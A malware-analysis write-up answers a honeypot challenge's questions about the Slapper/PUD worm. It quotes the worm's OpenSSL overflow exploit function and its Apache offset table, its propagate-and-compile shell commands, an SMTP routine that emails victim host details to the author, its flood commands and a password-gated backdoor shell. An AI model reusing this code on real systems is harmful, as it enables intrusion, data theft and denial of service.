INTRODUCTION:
I hereby present the answers
to the questions formulated by the Honeynet.BR
team in the scan of the
month 25. The challenge was to analyze a file found on a compromised
server and answer certain questions.
The analysis has been performed
on a dual PentiumIII Xeon machine with RedHat Linux. Standard system commands
and Emacs was used for the entire analysis.
QUESTIONS:
- Which is the type of the
.unlock file? When was it generated?
- Based on the source code,
who is the author of this worm? When it was created? Is it compatible
with the date from question 1?
- Which process name is used
by the worm when it is running?
- In which format the worm
copies itself to the new infected machine? Which files are created in
the whole process?
- After the worm executes
itself, which files remain on the infected machine?
- Which port is scanned by
the worm?
- Which vulnerability the
worm tries to exploit? In which architectures?
- What kind of information
is sent by the worm by email? To which account?
- Which port (and protocol)
is used by the worm to communicate to other infected machines?
- Name 3 functionalities built
in the worm to attack other networks.
- What is the purpose of the
.update.c program? Which port does it use?
Bonus Question: What
is the purpose of the SLEEPTIME and UPTIME values in the .update.c program?
ANSWERS
1.
Which is the type of the .unlock file? When was it generated?
After downloading the file
the first thing is to check the md5 checksum
.unlock md5 = a03b5be9264651ab30f2223592befb42
The hash is the same as the
one provided so it is ok to proceed.
To gather more information about the file I run the command file
execute the command file over .unlock
$ file .unlok
.unlok: gzip compressed data, deflated, last modified: Fri Sep 20 12:59:04
2002, o
s: Unix
rename
to .gz and inflate the file preserving timestamp
$cp .unlock unlock.gz
$gunzip unlock.gz -N
This produces a new file
-rwxr--r-- 1 mcebrian
mcebrian 81920 sep 20 12:59 unlock
$
file unlock
unlock: GNU tar archive
untar it and two c source files
are produced
-rw-r--r-- 1 mcebrian
mcebrian 70981 sep 20 15:28 .unlock.c
-rw-r--r-- 1 mcebrian mcebrian 2792 sep 19 23:57 .update.c
So .unlock is a gzip compressed
file, it contains a tar file and it was last modified on Friday September
the 20th of 2002 at 12:59:04.
2.
Based
on the source code, who is the author of this worm? When it was created?
Is it compatible with the date from question 1?
The source is the force. So
without more hesitation I open both file with Emacs.
The information about the author
of the tools can be found at the comments at the beginning of both files:
at line 4 of .unlock.c
* Peer-to-peer UDP
Distributed Denial of Service (PUD) *
* by contem@efnet *
line 38
* some modification
done by aion (aion@ukr.net) *
at line 1 of .update.c
/* code by aion (aion@ukr.net)
so the last author is aion@ukr.net
based on the original work of contem@efnet.
Additionally
the source code added by aion to .unlock.c is clearly marked by coments.
At line 71 of .unlock.c a
c macro is defined
#define VERSION 20092002
This can be interpreted as
a date: 20 / 09 /2002 (20 th of September 2002)
This is the same date as the one reported by the file system for the file
and for .unlock, the compressed file. There are some discrepancies with
the hour reported, It seems as if it was compressed before editing the
code. This can be explained if the compressed file has been created in
a machine with different clock settings than the one used for editing
the code.
The trailing ^M at the end
of the lines, suggests that the file has been saved on a windows machine,
if then it was compressed on a Linux box, it could explain this differences.
3. Which
process name is used by the worm when it is running?
In .unlock.c at line 78 the
following macro is defined
#define
PSNAME "httpd "
at line 1806
for(a=0;argv[0][a]!=0;a++)
argv[0][a]=0;
for(a=0;argv[1][a]!=0;a++) argv[1][a]=0;
strcpy(argv[0],PSNAME);
This code overwrites with zeros the region in memory storing the
process name and the first argument passed. And then copies the string
represented by PSNAME over argv[0], changing the process name to "httpd".
4.
In which format the worm copies itself to the new infected machine? Which
files are created in the whole process?
To answer this question we
must analyze the function sh(int sockfd)
Line 1425
writem(sockfd,"cat
> /tmp/.unlock.uu << __eof__; \n");
zhdr(1);
encode(sockfd);
zhdr(0);
writem(sockfd,"__eof__\n");
writem(sockfd,"uudecode -o /tmp/.unlock /tmp/.unlock.uu; "
"tar xzf /tmp/.unlock -C /tmp/; "
"gcc -o /tmp/httpd /tmp/.unlock.c -lcrypto; "
"gcc -o
/tmp/update /tmp/.update.c;\n");
this creates an empty file
"/tmp/.unlock.uu" in the remote machine, and then the function
encode() sends over the wire a uuencoded version of the local copy of
.unlock
When this is done, .unlock.uu
is decoded over a new file( .unlock) decompressed and the sources are
compiled.
The files created are:
From the initial transmission
.unlock.uu is created, this is uudecoded and .unlock is created. This
gets uncompressed and .unlock.c and .update.c are created.
The compiler then generates
two executables named httpd and update.
Then the cleanup process begins:
writem(sockfd,"rm
-rf /tmp/.unlock.uu /tmp/.unlock.c /tmp/.update.c "
" /tmp/httpd /tmp/update; exit; \n");
this deletes .unlock.c, .update.c
httpd update .unlock.uu.
so the only remaining file is
/tmp/.unlock
5. Which
port is scanned by the worm?
At line 67 the following macros
are defined:
#define PORT 4156
#define SCANPORT 80
This seems to be defining
two ports, well see how are they used.
port 4156 is used to send udp
messages to other worms through the function
char *lowsend(struct
ainst *ts,unsigned char b,char *buf,unsigned long len)
and is opened to listen connections
in main.
line 1784
if
(audp_listen(&udpserver,PORT) != 0) {
At line 1911 we find the scanning
code
if (myip) for (n=CLIENTS,p=0;n<(CLIENTS*2)
&& p<100;n++) if (clients[n].sock == 0) {
char srv[256];
if (d == 255) {
if (c == 255) {
a=classes[rand()%(sizeof classes)];
b=rand();
c=0;
}
else c++;
d=0;
}
else d++;
memset(srv,0,256);
sprintf(srv,"%d.%d.%d.%d",a,b,c,d);
clients[n].ext=time(NULL);
atcp_sync_connect(&clients[n],srv,SCANPORT);
p++;
}
This code creates 128 unique ip addresses and scans the at port 80.
6. Which vulnerability the worm tries to exploit?
In which architectures?
The worm takes advantage of
buffer overflow on Open SSL. The code is in the following function:
void exploit(char
*ip) {
int port = 443;
int i;
int arch=-1;
int N = 20;
ssl_conn* ssl1;
ssl_conn* ssl2;
char *a;
alarm(3600);
if ((a=GetAddress(ip)) == NULL) exit(0);
if (strncmp(a,"Apache",6)) exit(0);
for (i=0;i<MAX_ARCH;i++) {
if (strstr(a,architectures[i].apache) && strstr(a,architectures[i].os))
{
arch=i;
break;
}
}
if (arch == -1) arch=9;
srand(0x31337);
for (i=0; i<N;
i++) {
connect_host(ip, port);
usleep(100000);
}
ssl1 = ssl_connect_host(ip,
port);
ssl2 = ssl_connect_host(ip, port);
send_client_hello(ssl1);
get_server_hello(ssl1);
send_client_master_key(ssl1, overwrite_session_id_length, sizeof(overwrite_session_id_length)-1);
generate_session_keys(ssl1);
get_server_verify(ssl1);
send_client_finished(ssl1);
get_server_finished(ssl1);
port = get_local_port(ssl2->sock);
overwrite_next_chunk[FINDSCKPORTOFS] = (char) (port & 0xff);
overwrite_next_chunk[FINDSCKPORTOFS+1] = (char) ((port >> 8) &
0xff);
*(int*)&overwrite_next_chunk[156]
= cipher;
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr
- 12;
*(int*)&overwrite_next_chunk[196] = ciphers + 16;
send_client_hello(ssl2);
get_server_hello(ssl2);
send_client_master_key(ssl2,
overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
generate_session_keys(ssl2);
get_server_verify(ssl2);
for (i = 0; i <
ssl2->conn_id_length; i++) ssl2->conn_id[i] = (unsigned char)
(rand() >> 24);
send_client_finished(ssl2);
get_server_error(ssl2);
sh(ssl2->sock);
close(ssl2->sock);
close(ssl1->sock);
exit(0);
}
This function opens a new ssl
connection and sends an ovesized key to exploit the buffer overflow.
*(int*)&overwrite_next_chunk[156]
= cipher;
*(int*)&overwrite_next_chunk[192] = architectures[arch].func_addr
- 12;
*(int*)&overwrite_next_chunk[196] = ciphers + 16;
send_client_hello(ssl2);
get_server_hello(ssl2);
send_client_master_key(ssl2,
overwrite_next_chunk, sizeof(overwrite_next_chunk)-1);
In the scan process a malformed
packet is sent to the web server, and from the response the server name
and version is recorded.
This information is used now
to calculate the offset to overwrite. If
none of the prerecorded architectures is being targeted it defaults to
RedHat with apache 1.3.23
This offsets are stored in
the array architectures[].
struct archs {
char *os;
char *apache;
int func_addr;
} architectures[] = {
{"Gentoo", "", 0x08086c34},
{"Debian", "1.3.26", 0x080863cc},
{"Red-Hat", "1.3.6", 0x080707ec},
{"Red-Hat", "1.3.9", 0x0808ccc4},
{"Red-Hat", "1.3.12", 0x0808f614},
{"Red-Hat", "1.3.12", 0x0809251c},
{"Red-Hat", "1.3.19", 0x0809af8c},
{"Red-Hat", "1.3.20", 0x080994d4},
{"Red-Hat", "1.3.26", 0x08161c14},
{"Red-Hat", "1.3.23", 0x0808528c},
{"Red-Hat", "1.3.22", 0x0808400c},
{"SuSE", "1.3.12", 0x0809f54c},
{"SuSE", "1.3.17", 0x08099984},
{"SuSE", "1.3.19", 0x08099ec8},
{"SuSE", "1.3.20", 0x08099da8},
{"SuSE", "1.3.23", 0x08086168},
{"SuSE", "1.3.23", 0x080861c8},
{"Mandrake", "1.3.14", 0x0809d6c4},
{"Mandrake", "1.3.19", 0x0809ea98},
{"Mandrake", "1.3.20", 0x0809e97c},
{"Mandrake", "1.3.23", 0x08086580},
{"Slackware", "1.3.26", 0x083d37fc},
{"Slackware", "1.3.26",0x080b2100}
};
So the achitectures exploited
are
Gentoo
Debian
Red-Hat (Apache 1.3.6)
Red-Hat (Apache 1.3.9)
Red-Hat (Apache 1.3.12)
Red-Hat (Apache 1.3.12)
Red-Hat (Apache 1.3.19)
Red-Hat (Apache 1.3.20)
Red-Hat (Apache 1.3.26)
Red-Hat (Apache 1.3.23)
Red-Hat (Apache 1.3.22)
SuSE (Apache 1.3.12)
SuSE (Apache 1.3.17)
SuSE (Apache 1.3.19)
SuSE (Apache 1.3.20)
SuSE (Apache 1.3.23)
SuSE (Apache 1.3.23)
Mandrake (Apache 1.3.14)
Mandrake (Apache 1.3.19)
Mandrake (Apache 1.3.20)
Mandrake (Apache 1.3.23)
Slackware (Apache 1.3.26)
Slackware (Apache 1.3.26)
7.
What kind of information is sent by the worm by email? To which account?
At line 76
#define MAILSRV "freemail.ukr.net"
#define MAILTO "aion@ukr.net"
#define PSNAME "httpd "
#define WORMSRC "/tmp/.unlock"
#define UUHEAD "begin 655 .unlock\n"
This information is used in
the function mailme
Line 94
int mailme(char
*sip)
{
char cmdbuf[256], buffer[128];
int pip; long inet;
struct sockaddr_in sck;
struct hostent *hp;
if(!(pip=socket(PF_INET,
SOCK_STREAM, 0))) return -1;
if((inet=inet_addr(MAILSRV))==-1)
{
if(hp=gethostbyname(MAILSRV))
memcpy (&inet, hp->h_addr, 4);
else return -1;
}
sck.sin_family = PF_INET;
sck.sin_port = htons (25);
sck.sin_addr.s_addr = inet;
if(connect(pip, (struct sockaddr *) &sck, sizeof (sck))<0) return
-1;
gethostname(buffer,128);
sprintf(cmdbuf,"helo test\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"mail from: test@microsoft.com\r\n"); writem(pip,
cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"rcpt to: "MAILTO"\r\n"); writem(pip,
cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"data\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf," hostid: %d \r\n"
" hostname: %s \r\n"
" att_from: %s \r\n",gethostid(),buffer,sip);
writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
sprintf(cmdbuf,"\r\n.\r\nquit\r\n"); writem(pip, cmdbuf);
recv(pip,cmdbuf,sizeof(cmdbuf),0);
return close(pip);
}
this function sends a message
to aion@ukr.net implementing SMTP commands.
The data sent is hosid hostname
and the info at the string "sip".
To figure out what is in sip we must inspect the caller of this function.
It is called in main at line 1805
mailme(argv[1]);
zhdr(0);
So sip is the first argument
passed in the command line. As we saw in a previous question in function
sh .unlock is compiled and launched
line 1426
sprintf(rcv, "/tmp/httpd
%s; /tmp/update; \n",localip);
In this line the httpd program
is launched with the frst argument being the local ip. Wich is the information
that gets passed to the function mailme.
So the information sent is
hostid as returned by gethostid()
hostname as returned by gethostname()
and the ip address of the machine.
8.
Which port (and protocol) is used by the worm to communicate to other
infected machines?
One
of the ports opened is 4156.
this is defined at line 66
#define PORT 4156
And opened for listening at
line 1784
if (audp_listen(&udpserver,PORT)
!= 0) {
printf("Error: %s\n",aerror(&udpserver));
return 0;
}
So UDP port 4156 has been opened
and the program is listening on it. Subsecuently we can see many writes
to this port to perform various tasks in conjuction with other worms,
the ones itself have launched and its parent.
9.
Name 3 functionalities built in the worm to attack other networks.
In main afer all the "initializations" have been completed (mail
sent to owner, setting up a listening port on port 4156, scanning of more
neworks etc...) the program get's into an infinite loop waiting for a
command.
Among othe functionalitties
the worm exposes various methods to atack other networks three of them
are:
from Line 2249 onwards
case 0x2A: { // Tcp
flood
...
case 0x2B: { // IPv6 Tcp flood (this one is pressent because NOIPV6
is not defined)
...
case 0x2C: { // Dns flood
So three of the attacking functionalityes
are:
Tcp flood
IPv6 Tcp flood
and
Dns flood
10.
What is the purpose of the .update.c program? Which port does it use?
.update.c is a much simpler
program than .unlock.c.
It listens on TCP port 1052
for 10 seconds, if a connection is made within this time frame it forks
it self. Then compares the data received with the string "aion1981"
and if equal it opens an interactive shell. After the 10 seconds tears
down the connection and sleeps for 300 seconds (five minutes).
It opens a window of five seconds
every 5 minutes to obtain a shell. This reduces the risk of detecting
the connection when unused.
Bonus Question: What is the purpose of the SLEEPTIME
and UPTIME values in the .update.c program?
As explained in the previous
question the proggram opens a tcp connection for five seconds. Then tears
it down and waits for five minutes to open the socket again.
The values SLEEPTIME and UPTIME
are defined as macros, to make easier their manipulation in the source
code
#define SLEEPTIME 300
// sleep 5 min.
#define UPTIME 10 // listen 10 sec.
And they control the uptime
and sleep time of the tcp port.
|